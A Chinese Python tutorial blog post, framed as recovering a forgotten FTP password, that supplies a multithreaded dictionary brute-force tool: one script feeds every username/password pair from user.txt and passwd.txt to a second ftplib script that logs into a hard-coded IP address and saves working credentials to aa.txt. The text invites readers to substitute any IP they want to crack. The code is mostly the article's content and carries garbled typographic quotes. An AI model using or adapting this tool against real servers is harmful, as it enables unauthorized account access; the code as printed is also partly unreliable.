忘记ftp密码使用python ftplib库暴力破解密码的方法示例

yipeiwu_com5年前Python基础

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

复制代码 代码如下:

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

复制代码 代码如下:

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”


需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

相关文章

python3多线程知识点总结

多线程类似于同时执行多个不同程序,多线程运行有如下优点: 使用线程可以把占据长时间的程序中的任务放到后台去处理。 用户界面可以更加吸引人,比如用户点击了一个按钮去触发某些事件的处理,可以...

Python 正则表达式实现计算器功能

Python 正则表达式实现计算器功能

需求: 用户输入运算表达式,终端显示计算结果 代码: # !/usr/bin/env/ python3 # -*- coding: utf-8 -*- """用户输入计算表达式,显...

详解python中TCP协议中的粘包问题

TCP协议中的粘包问题 1.粘包现象 基于TCP实现一个简易远程cmd功能 #服务端 import socket import subprocess sever = socket.s...

PyCharm+Qt Designer+PyUIC安装配置教程详解

PyCharm+Qt Designer+PyUIC安装配置教程详解

Qt Designer用于像VC++的MFC一样拖放、设计控件 PyUIC用于将Qt Designer生成的.ui文件转换成.py文件 Qt Designer和PyUIC都包含在PyQt...

django 微信网页授权认证api的步骤详解

微信网页授权认证 根据微信官方文档,网页授权需要四个步骤, - 用户同意授权-获取code - 通过code 获取网页授权access_token - 通过code 获取网页授权...